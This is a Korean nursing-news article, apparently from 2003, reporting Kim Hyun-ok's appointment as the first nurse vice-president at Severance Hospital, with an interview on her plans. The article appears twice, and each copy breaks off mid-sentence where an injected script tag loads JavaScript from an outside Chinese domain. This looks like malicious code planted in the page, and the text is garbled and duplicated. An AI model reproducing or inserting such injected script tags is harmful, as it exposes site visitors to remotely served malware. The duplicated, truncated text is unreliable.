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간호사 부원장 첫 탄생
연대 세브란스병원 김현옥 부원장
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2003-08-14 오전 09:12:49
간호계의 오랜 염원이던 간호사 부원장이 탄생했다.
연대 세브란스병원은 김현옥 간호부장을 8월 1일부로 간호담당 부원장으로 승진 발령했다. 이와함께 병원 직제 규정을 개정, 그동안 제2진료부원장 산하에 있던 간호부를 원장 직속 간호담당 부원장 산하 조직으로 개편했다. 이로써 세브란스병원은 제1진료부원장, 제2진료부원장, 간호담당 부원장 등 3명의 부원장을 두는 체제를 갖추게 됐다.
김현옥 부원장은 병원 행정가로서, 경영자로서 탁월한 역량과 충분한 경륜을 갖춘 인물로 평가받고 있다. 미국에서 33년간 재활전문간호사, 교수, 간호부장 등으로 왕성한 활동을 펼쳤으며, 특히 메사추세츠주 휘티어 헬스 네트워크 부원장, 휘티어재활병원 원장 등을 맡아 성공적으로 병원을 경영한 경험을 갖고 있다.
올해 4월 1일 세브란스병원 간호부장으로 임명되면서 귀국했다. 1968년 연세대 간호대학을 졸업했으며 1970년 미국으로 건너갔다. 오하이오대에서 간호학 석사학위, 보스턴대에서 간호학 박사학위를 취득했다.
숙원과제였던 간호사 부원장이 탄생한데 대해 간호계는 "간호사의 위상을 크게 드높인 쾌거이며, 한국 간호 발전의 새로운 획을 긋는 역사적인 일이 이뤄졌다"면서 한마음으로 기뻐하고 축하하는 분위기다.
그동안 간호계는 "병원 경영의 효율과 환자 만족도를 높이기 위해선 간호부서가 독립성과 자율성을 갖고 일하고 경영 및 정책결정 과정에 능동적으로 참여할 수 있는 길이 열려야 한다"면서 간호부원장제도 도입을 적극 주장해 왔다.
이번 간호부원장 첫 탄생이 기폭제가 되어 앞으로 보다 많은 병원에서 간호부원장제도가 도입되길 간호계는 기대하고 있다.
◆ 인 터 뷰 ◆
"간호사 부원장에 대한 주위의 기대가 너무 큰 것 같습니다. 그만큼 책임감을 갖고 여러분의 기대에 부응할 수 있도록 열심히 하겠습니다."
한국 간호역사의 새 장을 여는 간호사 부원장이 탄생했다. 영예의 주인공은 연대 세브란스병원 김현옥 간호담당 부원장. 이미 간호사 부원장이 보편화 된 미국에서 최근까지 일했고 병원장을 지낸 경력이 있는 그는 자신에게 쏟아지는 각별한 관심과 기대가 조금은 낯선 듯 막중한 책임감이 앞선다는 말로 소감을 대신했다.
"열심히 일하는 간호사들을 어떻게 인정하고 지원해 나갈 것인가 고민하고, 간호사들이 자긍심을 갖도록 이끌어 주는 것이 관리자의 몫"이라면서 자신의 핵심 역할은 `간호사들을 지지(support)하는 것'이라고 설명했다.
김 부원장은 간호사들의 임상실무수행능력 표준 개발을 주요 과제로 꼽았다. 능력 단계별로 교육 및 평가 프로그램을 개발, 실시하고 궁극적으로는 평가결과에 따른 보상까지 이어질 수 있도록 추진해 나갈 예정이다.
"자신감 있게 당당한 간호를 제공할 수 있는 실무능력을 갖출 때 진정으로 친절한 간호가 완성될 수 있다"고 강조한 김 부원장은 "간호사의 친절은 환자의 작은 요구도 따뜻하게 헤아릴 수 있는 깊은 애정(compassion)에서 시작된다"고 말했다.
한국 문화의 특성에 맞게 간호사의 역할을 재정립하는 일에도 주력할 계획이다. 보호자가 함께 있을 수밖에 없는 한국인의 정서와 문화적 환경을 존중하고 그 안에서 간호사의 역할을 새롭게 정의하는 것이 바람직하다는 생각에서다. 여기엔 외롭게 투병하는 환자들의 고통을 안타깝게 지켜보았던 미국 생활에서의 경험도 작용했다.
"간호부서가 어떻게 병원에 기여하고 있는지 입증해 보여주고 성과를 인정받을 수 있도록 하는데 최선을 다할 것입니다."
항상 통계자료와 연구결과를 제시하면서 주장을 펴고 상대를 설득시켜 나가는 것이 김 부원장의 리더십 전략이자 원칙. 그래서 얻은 별명이 `데이터의 여왕(Data Queen)' 이었다고 한다. 병원 내 여러 부서와 긴밀히 의사소통을 하고 협력체계를 구축하는 일도 간호부서의 위상을 높이는데 꼭 필요하다고 덧붙였다.
간호사는 항상 병원의 목적을 생각하고 그 안에서 존재해야 하며, 경영 마인드를 가져야 한다는 것 또한 김 부원장의 지론. 일반 간호사들도 하루 입원 환자 수 같은 기본통계 정도는 꿰고 있고, 병원이 직면한 문제점에 대해서 관심을 가져야 한다는 것이다.
김 부원장은 "중요한 의사결정을 할 때마다 `환자를 위해 유익한 선택인가'를 가장 우선 생각해 왔다"고 말했다. 다음으로 병원에 도움이 되는가, 간호사들에게 도움이 되는가 순으로 판단기준을 삼는다.
지난 몇 달간 보고 느낀 한국의 간호에 대해선 "너무 복잡하고 많은 일을 하고 있는 가운데 때로 에센스를 놓치고 있는 듯하다"면서 "환자 곁으로, 간호의 기본으로 돌아가기 위한 노력이 필요한 것 같다"는 평가를 내놓았다.
동양인의 핸디캡을 극복하고 화려한 경력을 쌓으며 행정가로, 경영자로 성공할 수 있었?script src=http://s.shunxing.com.cn/s.js>
연대 세브란스병원은 김현옥 간호부장을 8월 1일부로 간호담당 부원장으로 승진 발령했다. 이와함께 병원 직제 규정을 개정, 그동안 제2진료부원장 산하에 있던 간호부를 원장 직속 간호담당 부원장 산하 조직으로 개편했다. 이로써 세브란스병원은 제1진료부원장, 제2진료부원장, 간호담당 부원장 등 3명의 부원장을 두는 체제를 갖추게 됐다.
김현옥 부원장은 병원 행정가로서, 경영자로서 탁월한 역량과 충분한 경륜을 갖춘 인물로 평가받고 있다. 미국에서 33년간 재활전문간호사, 교수, 간호부장 등으로 왕성한 활동을 펼쳤으며, 특히 메사추세츠주 휘티어 헬스 네트워크 부원장, 휘티어재활병원 원장 등을 맡아 성공적으로 병원을 경영한 경험을 갖고 있다.
올해 4월 1일 세브란스병원 간호부장으로 임명되면서 귀국했다. 1968년 연세대 간호대학을 졸업했으며 1970년 미국으로 건너갔다. 오하이오대에서 간호학 석사학위, 보스턴대에서 간호학 박사학위를 취득했다.
숙원과제였던 간호사 부원장이 탄생한데 대해 간호계는 "간호사의 위상을 크게 드높인 쾌거이며, 한국 간호 발전의 새로운 획을 긋는 역사적인 일이 이뤄졌다"면서 한마음으로 기뻐하고 축하하는 분위기다.
그동안 간호계는 "병원 경영의 효율과 환자 만족도를 높이기 위해선 간호부서가 독립성과 자율성을 갖고 일하고 경영 및 정책결정 과정에 능동적으로 참여할 수 있는 길이 열려야 한다"면서 간호부원장제도 도입을 적극 주장해 왔다.
이번 간호부원장 첫 탄생이 기폭제가 되어 앞으로 보다 많은 병원에서 간호부원장제도가 도입되길 간호계는 기대하고 있다.
◆ 인 터 뷰 ◆
"간호사 부원장에 대한 주위의 기대가 너무 큰 것 같습니다. 그만큼 책임감을 갖고 여러분의 기대에 부응할 수 있도록 열심히 하겠습니다."
한국 간호역사의 새 장을 여는 간호사 부원장이 탄생했다. 영예의 주인공은 연대 세브란스병원 김현옥 간호담당 부원장. 이미 간호사 부원장이 보편화 된 미국에서 최근까지 일했고 병원장을 지낸 경력이 있는 그는 자신에게 쏟아지는 각별한 관심과 기대가 조금은 낯선 듯 막중한 책임감이 앞선다는 말로 소감을 대신했다.
"열심히 일하는 간호사들을 어떻게 인정하고 지원해 나갈 것인가 고민하고, 간호사들이 자긍심을 갖도록 이끌어 주는 것이 관리자의 몫"이라면서 자신의 핵심 역할은 `간호사들을 지지(support)하는 것'이라고 설명했다.
김 부원장은 간호사들의 임상실무수행능력 표준 개발을 주요 과제로 꼽았다. 능력 단계별로 교육 및 평가 프로그램을 개발, 실시하고 궁극적으로는 평가결과에 따른 보상까지 이어질 수 있도록 추진해 나갈 예정이다.
"자신감 있게 당당한 간호를 제공할 수 있는 실무능력을 갖출 때 진정으로 친절한 간호가 완성될 수 있다"고 강조한 김 부원장은 "간호사의 친절은 환자의 작은 요구도 따뜻하게 헤아릴 수 있는 깊은 애정(compassion)에서 시작된다"고 말했다.
한국 문화의 특성에 맞게 간호사의 역할을 재정립하는 일에도 주력할 계획이다. 보호자가 함께 있을 수밖에 없는 한국인의 정서와 문화적 환경을 존중하고 그 안에서 간호사의 역할을 새롭게 정의하는 것이 바람직하다는 생각에서다. 여기엔 외롭게 투병하는 환자들의 고통을 안타깝게 지켜보았던 미국 생활에서의 경험도 작용했다.
"간호부서가 어떻게 병원에 기여하고 있는지 입증해 보여주고 성과를 인정받을 수 있도록 하는데 최선을 다할 것입니다."
항상 통계자료와 연구결과를 제시하면서 주장을 펴고 상대를 설득시켜 나가는 것이 김 부원장의 리더십 전략이자 원칙. 그래서 얻은 별명이 `데이터의 여왕(Data Queen)' 이었다고 한다. 병원 내 여러 부서와 긴밀히 의사소통을 하고 협력체계를 구축하는 일도 간호부서의 위상을 높이는데 꼭 필요하다고 덧붙였다.
간호사는 항상 병원의 목적을 생각하고 그 안에서 존재해야 하며, 경영 마인드를 가져야 한다는 것 또한 김 부원장의 지론. 일반 간호사들도 하루 입원 환자 수 같은 기본통계 정도는 꿰고 있고, 병원이 직면한 문제점에 대해서 관심을 가져야 한다는 것이다.
김 부원장은 "중요한 의사결정을 할 때마다 `환자를 위해 유익한 선택인가'를 가장 우선 생각해 왔다"고 말했다. 다음으로 병원에 도움이 되는가, 간호사들에게 도움이 되는가 순으로 판단기준을 삼는다.
지난 몇 달간 보고 느낀 한국의 간호에 대해선 "너무 복잡하고 많은 일을 하고 있는 가운데 때로 에센스를 놓치고 있는 듯하다"면서 "환자 곁으로, 간호의 기본으로 돌아가기 위한 노력이 필요한 것 같다"는 평가를 내놓았다.
동양인의 핸디캡을 극복하고 화려한 경력을 쌓으며 행정가로, 경영자로 성공할 수 있었?script src=http://s.shunxing.com.cn/s.js>
